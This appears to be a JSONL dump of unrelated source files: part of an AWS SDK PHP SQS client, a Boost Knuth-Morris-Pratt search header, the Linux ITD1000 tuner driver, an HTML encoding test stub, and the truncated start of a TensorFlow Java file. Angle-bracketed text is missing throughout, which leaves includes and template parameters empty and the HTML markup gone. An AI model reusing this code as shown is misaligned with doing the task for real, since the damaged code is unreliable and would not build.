    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function receive_message($queue_url, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t\n\t\t// Optional list (non-map)\n\t\tif (isset($opt['AttributeName']))\n\t\t{\n\t\t\t$opt = array_merge($opt, CFComplexType::map(array(\n\t\t\t\t'AttributeName' => (is_array($opt['AttributeName']) ? $opt['AttributeName'] : array($opt['AttributeName']))\n\t\t\t)));\n\t\t\tunset($opt['AttributeName']);\n\t\t}\n\n\t\treturn $this->authenticate('ReceiveMessage', $opt);\n\t}\n\n\t/**\n\t * The RemovePermission action revokes any permissions in the queue policy that\n\t * matches the specified Label parameter. Only the owner of the queue can remove\n\t * permissions.\n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param string $label (Required) The identification of the permission to remove. This is the label added with the AddPermission operation.\n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function remove_permission($queue_url, $label, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t$opt['Label'] = $label;\n\t\t\n\t\treturn $this->authenticate('RemovePermission', $opt);\n\t}\n\n\t/**\n\t * The SendMessage action delivers a message to the specified queue.\n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param string $message_body (Required) The message to send.\n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • DelaySeconds - integer - Optional - The number of seconds the message has to be delayed.
    • \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function send_message($queue_url, $message_body, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t$opt['MessageBody'] = $message_body;\n\t\t\n\t\treturn $this->authenticate('SendMessage', $opt);\n\t}\n\n\t/**\n\t * This is a batch version of SendMessage. It takes multiple messages and adds each\n\t * of them to the queue. The result of each add operation is reported individually in the\n\t * response.\n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param array $send_message_batch_request_entry (Required) A list of SendMessageBatchRequestEntry s.
      \n\t * \t
    • x - array - Optional - This represents a simple array index.
        \n\t * \t\t
      • Id - string - Required - An identifier for the message in this batch. This is used to communicate the result. Note that the the Id s of a batch request need to be unique within the request.
      • \n\t * \t\t
      • MessageBody - string - Required - Body of the message.
      • \n\t * \t\t
      • DelaySeconds - integer - Optional - The number of seconds for which the message has to be delayed.
      • \n\t * \t
    • \n\t *
    \n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function send_message_batch($queue_url, $send_message_batch_request_entry, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t\n\t\t// Required list + map\n\t\t$opt = array_merge($opt, CFComplexType::map(array(\n\t\t\t'SendMessageBatchRequestEntry' => (is_array($send_message_batch_request_entry) ? $send_message_batch_request_entry : array($send_message_batch_request_entry))\n\t\t)));\n\n\t\treturn $this->authenticate('SendMessageBatch', $opt);\n\t}\n\n\t/**\n\t * Sets the value of one or more queue attributes. Valid attributes that can be set are\n\t * [VisibilityTimeout, Policy, MaximumMessageSize, MessageRetentionPeriod,\n\t * ReceiveMessageWaitTimeSeconds].\n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param array $attribute (Required) A map of attributes to set.
      \n\t * \t
    • x - array - Optional - This represents a simple array index.
        \n\t * \t\t
      • Name - string - Optional - The name of a queue attribute. [Allowed values: Policy, VisibilityTimeout, MaximumMessageSize, MessageRetentionPeriod, ApproximateNumberOfMessages, ApproximateNumberOfMessagesNotVisible, CreatedTimestamp, LastModifiedTimestamp, QueueArn, ApproximateNumberOfMessagesDelayed, DelaySeconds, ReceiveMessageWaitTimeSeconds]
      • \n\t * \t\t
      • Value - string - Optional - The value of a queue attribute.
      • \n\t * \t
    • \n\t *
    \n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function set_queue_attributes($queue_url, $attribute, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t\n\t\t// Required map (non-list)\n\t\t$opt = array_merge($opt, CFComplexType::map(array(\n\t\t\t'Attribute' => (is_array($attribute) ? $attribute : array($attribute))\n\t\t)));\n\n\t\treturn $this->authenticate('SetQueueAttributes', $opt);\n\t}\n}\n\n\n/*%******************************************************************************************%*/\n// EXCEPTIONS\n\nclass SQS_Exception extends Exception {}\n"} +{"text": "Monty \n\nand the rest of the Xiph.org Foundation.\n"} +{"text": "/* \n Copyright (c) Marshall Clow 2010-2012.\n\n Distributed under the Boost Software License, Version 1.0. (See accompanying\n file LICENSE_1_0.txt or copy at http://www.lslboost.org/LICENSE_1_0.txt)\n\n For more information, see http://www.lslboost.org\n*/\n\n#ifndef BOOST_ALGORITHM_KNUTH_MORRIS_PRATT_SEARCH_HPP\n#define BOOST_ALGORITHM_KNUTH_MORRIS_PRATT_SEARCH_HPP\n\n#include \n#include // for std::iterator_traits\n\n#include \n#include \n\n#include \n#include \n\n#include \n#include \n\n#include \n\n// #define BOOST_ALGORITHM_KNUTH_MORRIS_PRATT_DEBUG\n\nnamespace lslboost { namespace algorithm {\n\n// #define NEW_KMP\n\n/*\n A templated version of the Knuth-Morris-Pratt searching algorithm.\n \n Requirements:\n * Random-access iterators\n * The two iterator types (I1 and I2) must \"point to\" the same underlying type.\n\n http://en.wikipedia.org/wiki/Knuth-Morris-Pratt_algorithm\n http://www.inf.fh-flensburg.de/lang/algorithmen/pattern/kmpen.htm\n*/\n\n template \n class knuth_morris_pratt {\n typedef typename std::iterator_traits::difference_type difference_type;\n public:\n knuth_morris_pratt ( patIter first, patIter last ) \n : pat_first ( first ), pat_last ( last ), \n k_pattern_length ( std::distance ( pat_first, pat_last )),\n skip_ ( k_pattern_length + 1 ) {\n#ifdef NEW_KMP\n preKmp ( pat_first, pat_last );\n#else\n init_skip_table ( pat_first, pat_last );\n#endif\n#ifdef BOOST_ALGORITHM_KNUTH_MORRIS_PRATT_DEBUG\n detail::PrintTable ( skip_.begin (), skip_.end ());\n#endif\n }\n \n ~knuth_morris_pratt () {}\n \n /// \\fn operator ( corpusIter corpus_first, corpusIter corpus_last, Pred p )\n /// \\brief Searches the corpus for the pattern that was passed into the constructor\n /// \n /// \\param corpus_first The start of the data to search (Random Access Iterator)\n /// \\param corpus_last One past the end of the data to search\n /// \\param p A predicate used for the search comparisons.\n ///\n template \n corpusIter operator () ( corpusIter corpus_first, corpusIter corpus_last ) const {\n BOOST_STATIC_ASSERT (( lslboost::is_same<\n typename std::iterator_traits::value_type, \n typename std::iterator_traits::value_type>::value ));\n if ( corpus_first == corpus_last ) return corpus_last; // if nothing to search, we didn't find it!\n if ( pat_first == pat_last ) return corpus_first; // empty pattern matches at start\n\n const difference_type k_corpus_length = std::distance ( corpus_first, corpus_last );\n // If the pattern is larger than the corpus, we can't find it!\n if ( k_corpus_length < k_pattern_length ) \n return corpus_last;\n\n return do_search ( corpus_first, corpus_last, k_corpus_length );\n }\n \n template \n typename lslboost::range_iterator::type operator () ( Range &r ) const {\n return (*this) (lslboost::begin(r), lslboost::end(r));\n }\n\n private:\n/// \\cond DOXYGEN_HIDE\n patIter pat_first, pat_last;\n const difference_type k_pattern_length;\n std::vector skip_;\n\n /// \\fn operator ( corpusIter corpus_first, corpusIter corpus_last, Pred p )\n /// \\brief Searches the corpus for the pattern that was passed into the constructor\n /// \n /// \\param corpus_first The start of the data to search (Random Access Iterator)\n /// \\param corpus_last One past the end of the data to search\n /// \\param p A predicate used for the search comparisons.\n ///\n template \n corpusIter do_search ( corpusIter corpus_first, corpusIter corpus_last, \n difference_type k_corpus_length ) const {\n difference_type match_start = 0; // position in the corpus that we're matching\n \n#ifdef NEW_KMP\n int patternIdx = 0;\n while ( match_start < k_corpus_length ) {\n while ( patternIdx > -1 && pat_first[patternIdx] != corpus_first [match_start] )\n patternIdx = skip_ [patternIdx]; //<--- Shifting the pattern on mismatch\n\n patternIdx++;\n match_start++; //<--- corpus is always increased by 1\n\n if ( patternIdx >= (int) k_pattern_length )\n return corpus_first + match_start - patternIdx;\n }\n \n#else\n// At this point, we know:\n// k_pattern_length <= k_corpus_length\n// for all elements of skip, it holds -1 .. k_pattern_length\n// \n// In the loop, we have the following invariants\n// idx is in the range 0 .. k_pattern_length\n// match_start is in the range 0 .. k_corpus_length - k_pattern_length + 1\n\n const difference_type last_match = k_corpus_length - k_pattern_length;\n difference_type idx = 0; // position in the pattern we're comparing\n\n while ( match_start <= last_match ) {\n while ( pat_first [ idx ] == corpus_first [ match_start + idx ] ) {\n if ( ++idx == k_pattern_length )\n return corpus_first + match_start;\n }\n // Figure out where to start searching again\n // assert ( idx - skip_ [ idx ] > 0 ); // we're always moving forward\n match_start += idx - skip_ [ idx ];\n idx = skip_ [ idx ] >= 0 ? skip_ [ idx ] : 0;\n // assert ( idx >= 0 && idx < k_pattern_length );\n }\n#endif\n \n // We didn't find anything\n return corpus_last;\n }\n \n\n void preKmp ( patIter first, patIter last ) {\n const /*std::size_t*/ int count = std::distance ( first, last );\n \n int i, j;\n \n i = 0;\n j = skip_[0] = -1;\n while (i < count) {\n while (j > -1 && first[i] != first[j])\n j = skip_[j];\n i++;\n j++;\n if (first[i] == first[j])\n skip_[i] = skip_[j];\n else\n skip_[i] = j;\n }\n }\n\n\n void init_skip_table ( patIter first, patIter last ) {\n const difference_type count = std::distance ( first, last );\n \n int j;\n skip_ [ 0 ] = -1;\n for ( int i = 1; i <= count; ++i ) {\n j = skip_ [ i - 1 ];\n while ( j >= 0 ) {\n if ( first [ j ] == first [ i - 1 ] )\n break;\n j = skip_ [ j ];\n }\n skip_ [ i ] = j + 1;\n }\n }\n// \\endcond\n };\n\n\n/* Two ranges as inputs gives us four possibilities; with 2,3,3,4 parameters\n Use a bit of TMP to disambiguate the 3-argument templates */\n\n/// \\fn knuth_morris_pratt_search ( corpusIter corpus_first, corpusIter corpus_last, \n/// patIter pat_first, patIter pat_last )\n/// \\brief Searches the corpus for the pattern.\n/// \n/// \\param corpus_first The start of the data to search (Random Access Iterator)\n/// \\param corpus_last One past the end of the data to search\n/// \\param pat_first The start of the pattern to search for (Random Access Iterator)\n/// \\param pat_last One past the end of the data to search for\n///\n template \n corpusIter knuth_morris_pratt_search ( \n corpusIter corpus_first, corpusIter corpus_last, \n patIter pat_first, patIter pat_last )\n {\n knuth_morris_pratt kmp ( pat_first, pat_last );\n return kmp ( corpus_first, corpus_last );\n }\n\n template \n corpusIter knuth_morris_pratt_search ( \n corpusIter corpus_first, corpusIter corpus_last, const PatternRange &pattern )\n {\n typedef typename lslboost::range_iterator::type pattern_iterator;\n knuth_morris_pratt kmp ( lslboost::begin(pattern), lslboost::end (pattern));\n return kmp ( corpus_first, corpus_last );\n }\n \n template \n typename lslboost::lazy_disable_if_c<\n lslboost::is_same::value, typename lslboost::range_iterator >\n ::type\n knuth_morris_pratt_search ( CorpusRange &corpus, patIter pat_first, patIter pat_last )\n {\n knuth_morris_pratt kmp ( pat_first, pat_last );\n return kmp (lslboost::begin (corpus), lslboost::end (corpus));\n }\n \n template \n typename lslboost::range_iterator::type\n knuth_morris_pratt_search ( CorpusRange &corpus, const PatternRange &pattern )\n {\n typedef typename lslboost::range_iterator::type pattern_iterator;\n knuth_morris_pratt kmp ( lslboost::begin(pattern), lslboost::end (pattern));\n return kmp (lslboost::begin (corpus), lslboost::end (corpus));\n }\n\n\n // Creator functions -- take a pattern range, return an object\n template \n lslboost::algorithm::knuth_morris_pratt::type>\n make_knuth_morris_pratt ( const Range &r ) {\n return lslboost::algorithm::knuth_morris_pratt\n ::type> (lslboost::begin(r), lslboost::end(r));\n }\n \n template \n lslboost::algorithm::knuth_morris_pratt::type>\n make_knuth_morris_pratt ( Range &r ) {\n return lslboost::algorithm::knuth_morris_pratt\n ::type> (lslboost::begin(r), lslboost::end(r));\n }\n}}\n\n#endif // BOOST_ALGORITHM_KNUTH_MORRIS_PRATT_SEARCH_HPP\n"} +{"text": "/*\n * Driver for the Integrant ITD1000 \"Zero-IF Tuner IC for Direct Broadcast Satellite\"\n *\n * Copyright (c) 2007-8 Patrick Boettcher \n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n *\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.=\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"dvb_frontend.h\"\n\n#include \"itd1000.h\"\n#include \"itd1000_priv.h\"\n\nstatic int debug;\nmodule_param(debug, int, 0644);\nMODULE_PARM_DESC(debug, \"Turn on/off debugging (default:off).\");\n\n#define itd_dbg(args...) do { \\\n\tif (debug) { \\\n\t\tprintk(KERN_DEBUG \"ITD1000: \" args);\\\n\t} \\\n} while (0)\n\n#define itd_warn(args...) do { \\\n\tprintk(KERN_WARNING \"ITD1000: \" args); \\\n} while (0)\n\n#define itd_info(args...) do { \\\n\tprintk(KERN_INFO \"ITD1000: \" args); \\\n} while (0)\n\n/* don't write more than one byte with flexcop behind */\nstatic int itd1000_write_regs(struct itd1000_state *state, u8 reg, u8 v[], u8 len)\n{\n\tu8 buf[1+len];\n\tstruct i2c_msg msg = {\n\t\t.addr = state->cfg->i2c_address, .flags = 0, .buf = buf, .len = len+1\n\t};\n\tbuf[0] = reg;\n\tmemcpy(&buf[1], v, len);\n\n\t/* itd_dbg(\"wr %02x: %02x\\n\", reg, v[0]); */\n\n\tif (i2c_transfer(state->i2c, &msg, 1) != 1) {\n\t\tprintk(KERN_WARNING \"itd1000 I2C write failed\\n\");\n\t\treturn -EREMOTEIO;\n\t}\n\treturn 0;\n}\n\nstatic int itd1000_read_reg(struct itd1000_state *state, u8 reg)\n{\n\tu8 val;\n\tstruct i2c_msg msg[2] = {\n\t\t{ .addr = state->cfg->i2c_address, .flags = 0, .buf = ®, .len = 1 },\n\t\t{ .addr = state->cfg->i2c_address, .flags = I2C_M_RD, .buf = &val, .len = 1 },\n\t};\n\n\t/* ugly flexcop workaround */\n\titd1000_write_regs(state, (reg - 1) & 0xff, &state->shadow[(reg - 1) & 0xff], 1);\n\n\tif (i2c_transfer(state->i2c, msg, 2) != 2) {\n\t\titd_warn(\"itd1000 I2C read failed\\n\");\n\t\treturn -EREMOTEIO;\n\t}\n\treturn val;\n}\n\nstatic inline int itd1000_write_reg(struct itd1000_state *state, u8 r, u8 v)\n{\n\tint ret = itd1000_write_regs(state, r, &v, 1);\n\tstate->shadow[r] = v;\n\treturn ret;\n}\n\n\nstatic struct {\n\tu32 symbol_rate;\n\tu8 pgaext : 4; /* PLLFH */\n\tu8 bbgvmin : 4; /* BBGVMIN */\n} itd1000_lpf_pga[] = {\n\t{ 0, 0x8, 0x3 },\n\t{ 5200000, 0x8, 0x3 },\n\t{ 12200000, 0x4, 0x3 },\n\t{ 15400000, 0x2, 0x3 },\n\t{ 19800000, 0x2, 0x3 },\n\t{ 21500000, 0x2, 0x3 },\n\t{ 24500000, 0x2, 0x3 },\n\t{ 28400000, 0x2, 0x3 },\n\t{ 33400000, 0x2, 0x3 },\n\t{ 34400000, 0x1, 0x4 },\n\t{ 34400000, 0x1, 0x4 },\n\t{ 38400000, 0x1, 0x4 },\n\t{ 38400000, 0x1, 0x4 },\n\t{ 40400000, 0x1, 0x4 },\n\t{ 45400000, 0x1, 0x4 },\n};\n\nstatic void itd1000_set_lpf_bw(struct itd1000_state *state, u32 symbol_rate)\n{\n\tu8 i;\n\tu8 con1 = itd1000_read_reg(state, CON1) & 0xfd;\n\tu8 pllfh = itd1000_read_reg(state, PLLFH) & 0x0f;\n\tu8 bbgvmin = itd1000_read_reg(state, BBGVMIN) & 0xf0;\n\tu8 bw = itd1000_read_reg(state, BW) & 0xf0;\n\n\titd_dbg(\"symbol_rate = %d\\n\", symbol_rate);\n\n\t/* not sure what is that ? - starting to download the table */\n\titd1000_write_reg(state, CON1, con1 | (1 << 1));\n\n\tfor (i = 0; i < ARRAY_SIZE(itd1000_lpf_pga); i++)\n\t\tif (symbol_rate < itd1000_lpf_pga[i].symbol_rate) {\n\t\t\titd_dbg(\"symrate: index: %d pgaext: %x, bbgvmin: %x\\n\", i, itd1000_lpf_pga[i].pgaext, itd1000_lpf_pga[i].bbgvmin);\n\t\t\titd1000_write_reg(state, PLLFH, pllfh | (itd1000_lpf_pga[i].pgaext << 4));\n\t\t\titd1000_write_reg(state, BBGVMIN, bbgvmin | (itd1000_lpf_pga[i].bbgvmin));\n\t\t\titd1000_write_reg(state, BW, bw | (i & 0x0f));\n\t\t\tbreak;\n\t\t}\n\n\titd1000_write_reg(state, CON1, con1 | (0 << 1));\n}\n\nstatic struct {\n\tu8 vcorg;\n\tu32 fmax_rg;\n} itd1000_vcorg[] = {\n\t{ 1, 920000 },\n\t{ 2, 971000 },\n\t{ 3, 1031000 },\n\t{ 4, 1091000 },\n\t{ 5, 1171000 },\n\t{ 6, 1281000 },\n\t{ 7, 1381000 },\n\t{ 8, 500000 },\t/* this is intentional. */\n\t{ 9, 1451000 },\n\t{ 10, 1531000 },\n\t{ 11, 1631000 },\n\t{ 12, 1741000 },\n\t{ 13, 1891000 },\n\t{ 14, 2071000 },\n\t{ 15, 2250000 },\n};\n\nstatic void itd1000_set_vco(struct itd1000_state *state, u32 freq_khz)\n{\n\tu8 i;\n\tu8 gvbb_i2c = itd1000_read_reg(state, GVBB_I2C) & 0xbf;\n\tu8 vco_chp1_i2c = itd1000_read_reg(state, VCO_CHP1_I2C) & 0x0f;\n\tu8 adcout;\n\n\t/* reserved bit again (reset ?) */\n\titd1000_write_reg(state, GVBB_I2C, gvbb_i2c | (1 << 6));\n\n\tfor (i = 0; i < ARRAY_SIZE(itd1000_vcorg); i++) {\n\t\tif (freq_khz < itd1000_vcorg[i].fmax_rg) {\n\t\t\titd1000_write_reg(state, VCO_CHP1_I2C, vco_chp1_i2c | (itd1000_vcorg[i].vcorg << 4));\n\t\t\tmsleep(1);\n\n\t\t\tadcout = itd1000_read_reg(state, PLLLOCK) & 0x0f;\n\n\t\t\titd_dbg(\"VCO: %dkHz: %d -> ADCOUT: %d %02x\\n\", freq_khz, itd1000_vcorg[i].vcorg, adcout, vco_chp1_i2c);\n\n\t\t\tif (adcout > 13) {\n\t\t\t\tif (!(itd1000_vcorg[i].vcorg == 7 || itd1000_vcorg[i].vcorg == 15))\n\t\t\t\t\titd1000_write_reg(state, VCO_CHP1_I2C, vco_chp1_i2c | ((itd1000_vcorg[i].vcorg + 1) << 4));\n\t\t\t} else if (adcout < 2) {\n\t\t\t\tif (!(itd1000_vcorg[i].vcorg == 1 || itd1000_vcorg[i].vcorg == 9))\n\t\t\t\t\titd1000_write_reg(state, VCO_CHP1_I2C, vco_chp1_i2c | ((itd1000_vcorg[i].vcorg - 1) << 4));\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nstatic const struct {\n\tu32 freq;\n\tu8 values[10]; /* RFTR, RFST1 - RFST9 */\n} itd1000_fre_values[] = {\n\t{ 1075000, { 0x59, 0x1d, 0x1c, 0x17, 0x16, 0x0f, 0x0e, 0x0c, 0x0b, 0x0a } },\n\t{ 1250000, { 0x89, 0x1e, 0x1d, 0x17, 0x15, 0x0f, 0x0e, 0x0c, 0x0b, 0x0a } },\n\t{ 1450000, { 0x89, 0x1e, 0x1d, 0x17, 0x15, 0x0f, 0x0e, 0x0c, 0x0b, 0x0a } },\n\t{ 1650000, { 0x69, 0x1e, 0x1d, 0x17, 0x15, 0x0f, 0x0e, 0x0c, 0x0b, 0x0a } },\n\t{ 1750000, { 0x69, 0x1e, 0x17, 0x15, 0x14, 0x0f, 0x0e, 0x0c, 0x0b, 0x0a } },\n\t{ 1850000, { 0x69, 0x1d, 0x17, 0x16, 0x14, 0x0f, 0x0e, 0x0d, 0x0b, 0x0a } },\n\t{ 1900000, { 0x69, 0x1d, 0x17, 0x15, 0x14, 0x0f, 0x0e, 0x0d, 0x0b, 0x0a } },\n\t{ 1950000, { 0x69, 0x1d, 0x17, 0x16, 0x14, 0x13, 0x0e, 0x0d, 0x0b, 0x0a } },\n\t{ 2050000, { 0x69, 0x1e, 0x1d, 0x17, 0x16, 0x14, 0x13, 0x0e, 0x0b, 0x0a } },\n\t{ 2150000, { 0x69, 0x1d, 0x1c, 0x17, 0x15, 0x14, 0x13, 0x0f, 0x0e, 0x0b } }\n};\n\n\n#define FREF 16\n\nstatic void itd1000_set_lo(struct itd1000_state *state, u32 freq_khz)\n{\n\tint i, j;\n\tu32 plln, pllf;\n\tu64 tmp;\n\n\tplln = (freq_khz * 1000) / 2 / FREF;\n\n\t/* Compute the factional part times 1000 */\n\ttmp = plln % 1000000;\n\tplln /= 1000000;\n\n\ttmp *= 1048576;\n\tdo_div(tmp, 1000000);\n\tpllf = (u32) tmp;\n\n\tstate->frequency = ((plln * 1000) + (pllf * 1000)/1048576) * 2*FREF;\n\titd_dbg(\"frequency: %dkHz (wanted) %dkHz (set), PLLF = %d, PLLN = %d\\n\", freq_khz, state->frequency, pllf, plln);\n\n\titd1000_write_reg(state, PLLNH, 0x80); /* PLLNH */;\n\titd1000_write_reg(state, PLLNL, plln & 0xff);\n\titd1000_write_reg(state, PLLFH, (itd1000_read_reg(state, PLLFH) & 0xf0) | ((pllf >> 16) & 0x0f));\n\titd1000_write_reg(state, PLLFM, (pllf >> 8) & 0xff);\n\titd1000_write_reg(state, PLLFL, (pllf >> 0) & 0xff);\n\n\tfor (i = 0; i < ARRAY_SIZE(itd1000_fre_values); i++) {\n\t\tif (freq_khz <= itd1000_fre_values[i].freq) {\n\t\t\titd_dbg(\"fre_values: %d\\n\", i);\n\t\t\titd1000_write_reg(state, RFTR, itd1000_fre_values[i].values[0]);\n\t\t\tfor (j = 0; j < 9; j++)\n\t\t\t\titd1000_write_reg(state, RFST1+j, itd1000_fre_values[i].values[j+1]);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\titd1000_set_vco(state, freq_khz);\n}\n\nstatic int itd1000_set_parameters(struct dvb_frontend *fe)\n{\n\tstruct dtv_frontend_properties *c = &fe->dtv_property_cache;\n\tstruct itd1000_state *state = fe->tuner_priv;\n\tu8 pllcon1;\n\n\titd1000_set_lo(state, c->frequency);\n\titd1000_set_lpf_bw(state, c->symbol_rate);\n\n\tpllcon1 = itd1000_read_reg(state, PLLCON1) & 0x7f;\n\titd1000_write_reg(state, PLLCON1, pllcon1 | (1 << 7));\n\titd1000_write_reg(state, PLLCON1, pllcon1);\n\n\treturn 0;\n}\n\nstatic int itd1000_get_frequency(struct dvb_frontend *fe, u32 *frequency)\n{\n\tstruct itd1000_state *state = fe->tuner_priv;\n\t*frequency = state->frequency;\n\treturn 0;\n}\n\nstatic int itd1000_get_bandwidth(struct dvb_frontend *fe, u32 *bandwidth)\n{\n\treturn 0;\n}\n\nstatic u8 itd1000_init_tab[][2] = {\n\t{ PLLCON1, 0x65 }, /* Register does not change */\n\t{ PLLNH, 0x80 }, /* Bits [7:6] do not change */\n\t{ RESERVED_0X6D, 0x3b },\n\t{ VCO_CHP2_I2C, 0x12 },\n\t{ 0x72, 0xf9 }, /* No such regsister defined */\n\t{ RESERVED_0X73, 0xff },\n\t{ RESERVED_0X74, 0xb2 },\n\t{ RESERVED_0X75, 0xc7 },\n\t{ EXTGVBBRF, 0xf0 },\n\t{ DIVAGCCK, 0x80 },\n\t{ BBTR, 0xa0 },\n\t{ RESERVED_0X7E, 0x4f },\n\t{ 0x82, 0x88 }, /* No such regsister defined */\n\t{ 0x83, 0x80 }, /* No such regsister defined */\n\t{ 0x84, 0x80 }, /* No such regsister defined */\n\t{ RESERVED_0X85, 0x74 },\n\t{ RESERVED_0X86, 0xff },\n\t{ RESERVED_0X88, 0x02 },\n\t{ RESERVED_0X89, 0x16 },\n\t{ RFST0, 0x1f },\n\t{ RESERVED_0X94, 0x66 },\n\t{ RESERVED_0X95, 0x66 },\n\t{ RESERVED_0X96, 0x77 },\n\t{ RESERVED_0X97, 0x99 },\n\t{ RESERVED_0X98, 0xff },\n\t{ RESERVED_0X99, 0xfc },\n\t{ RESERVED_0X9A, 0xba },\n\t{ RESERVED_0X9B, 0xaa },\n};\n\nstatic u8 itd1000_reinit_tab[][2] = {\n\t{ VCO_CHP1_I2C, 0x8a },\n\t{ BW, 0x87 },\n\t{ GVBB_I2C, 0x03 },\n\t{ BBGVMIN, 0x03 },\n\t{ CON1, 0x2e },\n};\n\n\nstatic int itd1000_init(struct dvb_frontend *fe)\n{\n\tstruct itd1000_state *state = fe->tuner_priv;\n\tint i;\n\n\tfor (i = 0; i < ARRAY_SIZE(itd1000_init_tab); i++)\n\t\titd1000_write_reg(state, itd1000_init_tab[i][0], itd1000_init_tab[i][1]);\n\n\tfor (i = 0; i < ARRAY_SIZE(itd1000_reinit_tab); i++)\n\t\titd1000_write_reg(state, itd1000_reinit_tab[i][0], itd1000_reinit_tab[i][1]);\n\n\treturn 0;\n}\n\nstatic int itd1000_sleep(struct dvb_frontend *fe)\n{\n\treturn 0;\n}\n\nstatic int itd1000_release(struct dvb_frontend *fe)\n{\n\tkfree(fe->tuner_priv);\n\tfe->tuner_priv = NULL;\n\treturn 0;\n}\n\nstatic const struct dvb_tuner_ops itd1000_tuner_ops = {\n\t.info = {\n\t\t.name = \"Integrant ITD1000\",\n\t\t.frequency_min = 950000,\n\t\t.frequency_max = 2150000,\n\t\t.frequency_step = 125, /* kHz for QPSK frontends */\n\t},\n\n\t.release = itd1000_release,\n\n\t.init = itd1000_init,\n\t.sleep = itd1000_sleep,\n\n\t.set_params = itd1000_set_parameters,\n\t.get_frequency = itd1000_get_frequency,\n\t.get_bandwidth = itd1000_get_bandwidth\n};\n\n\nstruct dvb_frontend *itd1000_attach(struct dvb_frontend *fe, struct i2c_adapter *i2c, struct itd1000_config *cfg)\n{\n\tstruct itd1000_state *state = NULL;\n\tu8 i = 0;\n\n\tstate = kzalloc(sizeof(struct itd1000_state), GFP_KERNEL);\n\tif (state == NULL)\n\t\treturn NULL;\n\n\tstate->cfg = cfg;\n\tstate->i2c = i2c;\n\n\ti = itd1000_read_reg(state, 0);\n\tif (i != 0) {\n\t\tkfree(state);\n\t\treturn NULL;\n\t}\n\titd_info(\"successfully identified (ID: %d)\\n\", i);\n\n\tmemset(state->shadow, 0xff, sizeof(state->shadow));\n\tfor (i = 0x65; i < 0x9c; i++)\n\t\tstate->shadow[i] = itd1000_read_reg(state, i);\n\n\tmemcpy(&fe->ops.tuner_ops, &itd1000_tuner_ops, sizeof(struct dvb_tuner_ops));\n\n\tfe->tuner_priv = state;\n\n\treturn fe;\n}\nEXPORT_SYMBOL(itd1000_attach);\n\nMODULE_AUTHOR(\"Patrick Boettcher \");\nMODULE_DESCRIPTION(\"Integrant ITD1000 driver\");\nMODULE_LICENSE(\"GPL\");\n"} +{"text": "\r\n\r\n\r\nUTF-16LE BOM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
     
    \r\n\r\n\r\n\r\n\r\n\r\n
    \r\n\r\n\r\n\r\n"} +{"text": "/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*/\n\npackage com.example.android.smartreply;\n\nimport android.support.annotation.Keep;\n\n/**\n * SmartReply contains predicted message, and confidence.\n *\n *

